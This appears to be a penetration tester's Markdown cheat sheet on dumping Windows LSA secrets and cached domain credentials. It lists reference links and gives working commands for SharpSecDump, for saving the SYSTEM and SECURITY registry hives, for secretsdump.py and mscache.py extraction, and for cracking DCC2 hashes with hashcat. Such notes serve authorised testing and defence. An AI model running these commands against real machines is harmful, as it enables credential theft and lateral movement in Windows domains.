# LSA

* <https://www.passcape.com/index.php?section=docsys&cmd=details&id=23>
* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets>
* <https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/>

## SharpSecDump

* <https://github.com/G0ldenGunSec/SharpSecDump>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpSecDump.ps1>

Decrypt LSA secrets on target:

```
PS > Invoke-SharpSecDump -C "-target=127.0.0.1"
```

## LsaStorePrivateData (ksetup)

* <https://pentest.party/posts/2025/ksetup-machine-password/>

## MSCash2/MSCache2 (DCC2)

* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials>

Domain cached credentials are stored within **LSA secrets** in `HKLM:\SECURITY` registry hive:

```
Cmd > reg save hklm\system system.hive
Cmd > reg save hklm\security security.hive
```

### secretsdump.py

Export registry hives and extract cached creds locally with `secretsdump.py`:

```
$ secretsdump.py -system system.hive -security security.hive LOCAL
```

### mscache.py

* <https://github.com/QAX-A-Team/mscache/blob/master/mscache.py>

Export registry hives and extract cached creds locally with `mscache.py`:

```
$ python mscache.py --system system.hive --security security.hive
```

### Crack

```
$ hashcat -m 2100 -O -a 0 -w 3 --session=dcc2 -o dcc2.out dcc2.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```


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